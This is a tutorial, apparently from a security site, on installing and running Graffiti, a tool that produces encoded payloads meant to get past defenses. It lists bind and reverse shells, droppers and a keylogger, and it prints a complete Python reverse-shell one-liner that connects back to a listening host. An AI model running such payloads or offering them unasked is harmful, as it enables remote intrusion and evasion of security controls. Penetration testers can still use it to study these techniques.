It's exciting to get that reverse shell or execute a payload, but sometimes these things don't work as expected when there are certain defenses in play. One way to get around that issue is by obfuscating the payload, and encoding it using different techniques will usually bring varying degrees of success. Graffiti can make that happen.
Graffiti is a tool that can generate obfuscated payloads using a variety of different encoding techniques. It offers an array of one-liners and shells in languages such as Python, Perl, PHP, Batch, PowerShell, and Bash. Payloads can be encoded using base64, hex, and AES256, among others. It also features two modes of operation: command-line mode and interactive mode.
Other useful features of Graffiti include the ability to create your own payload files, terminal history, option to run native OS commands, and tab-completion in interactive mode. Graffiti should work out of the box on Linux, Mac, and Windows, and it can be installed to the system as an executable on both Linux and Mac. We will be using Kali Linux to explore the tool below.
And list the contents to verify everything is there:
~/Graffiti# ls
coders conf.json etc graffiti.py install.sh lib main README.md
We can run the tool with the python command — let's see the help menu by tacking on the -h switch:
~/Graffiti# python graffiti.py -h
usage: graffiti.py [-h] [-c CODEC] [-p PAYLOAD]
[--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS]
[-l]
[-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]]
[-lH LISTENING-ADDRESS] [-lP LISTENING-PORT] [-u URL] [-vC]
[-H] [-W] [--memory] [-mC COMMAND [COMMAND ...]] [-Vc]
optional arguments:
-h, --help show this help message and exit
-c CODEC, --codec CODEC
specify an encoding technique (*default=None)
-p PAYLOAD, --payload PAYLOAD
pass the path to a payload to use (*default=None)
--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS
create a payload file and store it inside of
./etc/payloads (*default=None)
-l, --list list all available payloads by path (*default=False)
-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]], --personal-payload [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]
pass your own personal payload to use for the encoding
(*default=None)
-lH LISTENING-ADDRESS, --lhost LISTENING-ADDRESS
pass a listening address to use for the payload (if
needed) (*default=None)
-lP LISTENING-PORT, --lport LISTENING-PORT
pass a listening port to use for the payload (if
needed) (*default=None)
-u URL, --url URL pass a URL if needed by your payload (*default=None)
-vC, --view-cached view the cached data already present inside of the
database
-H, --no-history do not store the command history (*default=True)
-W, --wipe wipe the database and the history (*default=False)
--memory initialize the database into memory instead of a .db
file (*default=False)
-mC COMMAND [COMMAND ...], --more-commands COMMAND [COMMAND ...]
pass more external commands, this will allow them to
be accessed inside of the terminal commands must be in
your PATH (*default=None)
-Vc, --view-codecs view the current available encoding codecs and their
compatible languages
Here, we get its usage information and optional arguments that are available.
An easier way to use Graffiti is to install it onto the system. That way, we don't need to be in the directory to run it — it can be executed from anywhere. Simply launch the install script to begin:
~/Graffiti# ./install.sh
starting file copying..
creating executable
editing file stats
installed, you need to run: source ~/.bash_profile
It tells us we need to run the source command on our bash profile to complete the installation — the source command basically loads any functions in the current shell:
~/Graffiti# source ~/.bash_profile
Now we should be able to run the tool from anywhere by typing graffiti in the terminal:
~# graffiti -h
usage: graffiti.py [-h] [-c CODEC] [-p PAYLOAD]
[--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS]
[-l]
[-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]]
[-lH LISTENING-ADDRESS] [-lP LISTENING-PORT] [-u URL] [-vC]
[-H] [-W] [--memory] [-mC COMMAND [COMMAND ...]] [-Vc]
optional arguments:
-h, --help show this help message and exit
-c CODEC, --codec CODEC
specify an encoding technique (*default=None)
-p PAYLOAD, --payload PAYLOAD
pass the path to a payload to use (*default=None)
--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS
create a payload file and store it inside of
./etc/payloads (*default=None)
-l, --list list all available payloads by path (*default=False)
-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]], --personal-payload [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]
pass your own personal payload to use for the encoding
(*default=None)
-lH LISTENING-ADDRESS, --lhost LISTENING-ADDRESS
pass a listening address to use for the payload (if
needed) (*default=None)
-lP LISTENING-PORT, --lport LISTENING-PORT
pass a listening port to use for the payload (if
needed) (*default=None)
-u URL, --url URL pass a URL if needed by your payload (*default=None)
-vC, --view-cached view the cached data already present inside of the
database
-H, --no-history do not store the command history (*default=True)
-W, --wipe wipe the database and the history (*default=False)
--memory initialize the database into memory instead of a .db
file (*default=False)
-mC COMMAND [COMMAND ...], --more-commands COMMAND [COMMAND ...]
pass more external commands, this will allow them to
be accessed inside of the terminal commands must be in
your PATH (*default=None)
-Vc, --view-codecs view the current available encoding codecs and their
compatible languages
Option 1: Use Graffiti in Command-Line Mode
The first way to run Graffiti is in normal command-line mode. All we have to do is pass the arguments after the command, just like you would with any other tool or script. For example, we can list all available payloads with the -l switch:
The -p switch is the bread and butter of Graffiti — use it to specify a payload, followed by -c to specify the encoding technique, and finally -lH and -lP to set the listening address and port, respectively. Here is a Python reverse shell in raw format, meaning no encoding:
That will spit out the command for the appropriate reverse shell with all the information filled in. All we need to do at this point is copy and paste.
Let's try another example. Here is that same Python reverse shell encoded in base64:
~# graffiti -W
wiping the database and the history files
database and history files wiped
Option 2: Use Graffiti in Interactive Mode
The other way to run Graffiti is in its interactive mode, which comes with a built-in terminal environment. Simply run the tool without any arguments to drop in:
~# graffiti
________ _____ _____.__ __ .__
/ _____/___________ _/ ____\/ ____\__|/ |_|__|
/ \ __\_ __ \__ \\ __\\ __\| \ __\ |
\ \_\ \ | \// __ \| | | | | || | | |
\______ /__| (____ /__| |__| |__||__| |__|
\/ \/
v(0.0.10)
no arguments have been passed, dropping into terminal type `help/?` to get help, all commands that sit inside of `/bin` are available in the terminal
Traceback (most recent call last):
File "graffiti.py", line 5, in <module>
main()
File "/root/.graffiti/.install/etc/main/main.py", line 10, in main
Parser().single_run_args(parsed_config, cursor)
File "/root/.graffiti/.install/etc/lib/arguments.py", line 182, in single_run_args
).do_start(conf["graffiti"]["saveCommandHistory"])
File "/root/.graffiti/.install/etc/lib/terminal_display.py", line 290, in do_start
self.reflect_memory()
File "/root/.graffiti/.install/etc/lib/terminal_display.py", line 77, in reflect_memory
with open(self.full_history_file_path) as history:
IOError: [Errno 2] No such file or directory: '/root/.graffiti/.install/etc/.history/2019-11-14/graffiti.history'
If you receive the error above, all you have to do is create a new history file in the appropriate directory — use the touch command like so:
Now when we run it, we successfully enter the interactive mode, which will come with its own prompt:
~# graffiti
________ _____ _____.__ __ .__
/ _____/___________ _/ ____\/ ____\__|/ |_|__|
/ \ __\_ __ \__ \\ __\\ __\| \ __\ |
\ \_\ \ | \// __ \| | | | | || | | |
\______ /__| (____ /__| |__| |__||__| |__|
\/ \/
v(0.0.10)
no arguments have been passed, dropping into terminal type `help/?` to get help, all commands that sit inside of `/bin` are available in the terminal
root@graffiti:~/graffiti#
To see the help menu, type help or ? at the prompt:
root@graffiti:~/graffiti# ?
Command Description
--------- --------------
help/? Show this help
external List available external commands
cached/stored Display all payloads that are already in the database
list/show List all available payloads
search <phrase> Search for a specific payload
use <payload> <coder> Use this payload and encode it using a specified coder
info Get information on all the payloads
check Check for updates
history/mem[ory] Display command history
exit/quit Exit the terminal and running session
encode <script-type> <coder> Encode a provided payload
check Check for updates
We can check if we have the latest version of the tool by running the check command:
root@graffiti:~/graffiti# check
From https://github.com/Ekultek/Graffiti
* branch master -> FETCH_HEAD
Already up to date.
It's also useful to know what external commands we have available to us, so we don't need to exit interactive mode or switch to a new tab to run the usual commands. Use the external command to view a list of these:
We can also get information about the payloads with the info command. Unfortunately, it doesn't allow us to single out a payload, instead, listing all of them at once:
root@graffiti:~/graffiti# info
Script type: batch
Execution type: bind
Information: uses Windows netcat to start a bindshell
Full path: /root/.graffiti/.install/etc/etc/payloads/windows/batch/nc_bind.json
Script type: batch
Execution type: dropper
Information: uses certutil to download a file without causing suspicion
Full path: /root/.graffiti/.install/etc/etc/payloads/windows/batch/certutil_exe.json
Script type: batch
Execution type: reverse
Information: uses netcat to start a reverse shell
Full path: /root/.graffiti/.install/etc/etc/payloads/windows/batch/nc_reverse.json
Script type: batch
Execution type: dropper
Information: uses Microsoft SyncAppvPublishingServer to download and execute a powershell file
Full path: /root/.graffiti/.install/etc/etc/payloads/windows/batch/sync_appv.json
Script type: python
Execution type: reverse
Information: uses python socket library to connect back and execute commands with subprocess
Full path: /root/.graffiti/.install/etc/etc/payloads/windows/python/socket_reverse.json
Script type: powershell
Execution type: other
Information: creates a keylogger that stores in C:\Users\Public\key.log
Full path: /root/.graffiti/.install/etc/etc/payloads/windows/powershell/keylogger.json
...
To search for a specific payload, use the search command. For example, to search for Python payloads:
root@graffiti:~/graffiti# search python
found 2 relevant options:
------------------------------
/windows/python/socket_reverse.json
/linux/python/socket_reverse.json
We can create a payload with the use command, followed by the desired payload and the type of encoding to use:
root@graffiti:~/graffiti# use /linux/python/socket_reverse.json raw
enter the LHOST: 10.10.0.1
enter the LPORT: 4321
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.0.1",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
It will prompt us for the listening IP address and port, and it will display the command for the reverse shell when it's done.
Similar to Graffiti's command-line mode, we can view a history of cached payloads by using the cached command:
We can also display the command history with the history option:
root@graffiti:~/graffiti# history
1 ?
2 exit
3 ?
4 check
5 external
6 id
7 uname
8 uname -a
9 ?
10 list
11 info
12 list
13 info /linux/python/socket_reverse.json
14 ?
15 info
16 ?
17 search python reverse
18 search python
19 use /linux/python/socket_reverse.json raw
20 graffiti -h
21 use /linux/python/socket_reverse.json xor
22 ?
23 cached
24 history
Finally, to exit interactive mode, simply type exit at the prompt:
root@graffiti:~/graffiti# exit
saving current history to a file
exiting terminal
Wrapping Up
In this tutorial, we learned how to use a tool called Graffiti to generate obfuscated payloads for use in penetration testing and hacking. First, we set up the tool and installed it onto our system for easy use. Next, we explored the command-line mode and some of the options it has available, including listing payloads, viewing history, and creating payloads encoded in a variety of techniques. We then took a look at the interactive mode and how it can easily be used to generate payloads, all from an interactive prompt.
Getting past defenses with obfuscated payloads has never been easier with Graffiti.